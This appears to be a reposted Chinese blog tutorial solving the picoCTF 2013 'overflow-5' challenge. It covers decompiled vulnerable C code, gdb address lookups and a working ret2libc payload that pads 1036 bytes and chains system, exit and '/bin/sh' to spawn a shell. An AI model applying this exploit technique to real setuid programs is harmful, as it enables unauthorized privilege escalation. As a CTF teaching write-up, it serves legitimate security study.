pico-ctf 2013 overflow-5

xiaoxiao2021-02-28  75

栈溢出入门系列入门教程五

本片是栈溢出入门系列教程第五篇文章. overflow5.c

#include<stdio.h> void vuln(char *str) { char v2; strcpy(&v2, str); } int main(int argc, const char **argv, const char **envp) { int result; // eax@2 uid_t euid; // eax@3 if ( argc == 2 ) { v4 = geteuid(); setresuid(euid,euid,euid); vuln(argv[1]); result = 0; } else { puts("Usage: buffer_overflow_shellcode [str]"); result = 1; } return result; }

由于没有提供源码, 上面c代码是通过IDA pro转出来的, 并作了稍微的修改. checksec

checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial

本程序有NX防护, 不可以注入shellcode. NX(DEP): https://en.wikipedia.org/wiki/NX_bit 简单的说就是将代码和数据分开, 是我们注入的shellcode无法执行. 思路: 我们使用ret2libc方法, 用程序本身的system函数和”/bin/sh”来获取shell.


gdb调试overflow5, 查看进程的虚拟地址空间是如何使用的. $gdb -q overflow5

开启另一个终端, 输入

ps -aux | grep overflow5 5156 0.8 0.3 89076 27156 pts/5 S+ 12:46 0:00 gdb -q overflow5 5179 0.0 0.0 15964 932 pts/18 S+ 12:46 0:00 grep --color=auto overflow5

记下PID 号, 这里为5156,

sudo cat /proc/5156/maps 下面是打印的部分: 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:16 1447617 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:16 1447617 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

可以看出overflow5的stack是rw-,可读可写不可执行. 但是重点我们看到了.so文件, 就是说overflow5调用了库函数. 而system函数和”/bin/sh”都在库中. 如果我们能让overflow5 调用.so 中的system()函数, 并将”/bin/sh”作为参数传入, 我们就能够获取一个shell. 2.在gdb中找出system和”/bin/sh”的地址.

gdb$ print system $1 = {<text variable, no debug info>} 0xf7e39940 <system> gdb$ p exit $2 = {<text variable, no debug info>} 0xf7e2d7b0 <exit> (gdb) find 0xf7e2d7b0,+9999999,"/bin/sh" 0xf7f57e8b

3.构造payload.通过调试找出buffer start和返回值地址之间的距离.

buffer start:0xffffca70 返回值地址: 0xffffce7c 相差:1036

于是乎构造出payload:

./overflow5 $(python -c "print 'A'*1036+'\x40\x99\xe3\xf7'+'\xb0\xd7\xe2\xf7'+'\x8b\x7e\xf5\xf7'") $

获取shell. 疑问: 为什么要将exit函数加进去呢? 答: 这个地方必须得有一个4字节的地址, 可以是其他的地址, 为了方便退出才加的. 疑问: eip读取到system的值, 是如何将”/bin/sh”传进去的? 答: 这个就要用到函数之间的参数传递法则. 32位程序一般是通过将参数压栈, 然后通过ebp获得相应的参数.64位程序是通过寄存器传递参数的.对于system函数而言比较特别,咱们先看看它的汇编代码:

0xf7e39940 <+0>: sub esp,0xc 0xf7e39943 <+3>: mov eax,DWORD PTR [esp+0x10] 0xf7e39947 <+7>: call 0xf7f1c0dd 0xf7e3994c <+12>: add edx,0x1756b4 0xf7e39952 <+18>: test eax,eax 0xf7e39954 <+20>: je 0xf7e39960 <system+32> 0xf7e39956 <+22>: add esp,0xc 0xf7e39959 <+25>: jmp 0xf7e39430 0xf7e3995e <+30>: xchg ax,ax 0xf7e39960 <+32>: lea eax,[edx-0x5716d] 0xf7e39966 <+38>: call 0xf7e39430 0xf7e3996b <+43>: test eax,eax 0xf7e3996d <+45>: sete al 0xf7e39970 <+48>: add esp,0xc 0xf7e39973 <+51>: movzx eax,al 0xf7e39976 <+54>: ret

通过汇编代码可知, system是通过esp来获取相应的参数. 现在来分析system参数的传递过程. 下面是参数调用过程中esp的变化 下面格式是: 汇编代码 执行时的esp情况

ret ESP: 0xffffcaac --> 0xf7e39940 (<system>:sub esp,0xc) 进入system函数: sub esp,0xc ESP: 0xffffcab0 --> 0xf7e2d7b0 (<exit>:call 0xf7f1c0d9) ESP: 0xffffcaa4 ("AAAAAAAA@......") mov eax,DWORD PTR [esp+0x10] x/10x $esp+0x10 0xffffcab4:   0xf7f57e8b 0x00000300 0xffffcaac --> 0xf7e39940 (<system>: sub esp,0xc) 0xffffcab0 --> 0xf7e2d7b0 (<exit>: call 0xf7f1c0d9) 0xffffcab4 --> 0xf7f57e8b ("/bin/sh")

由此可见已将"/bin/sh"的地址传给了eax. 注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow 5

转载请注明原文地址: https://www.6miu.com/read-74642.html

最新回复(0)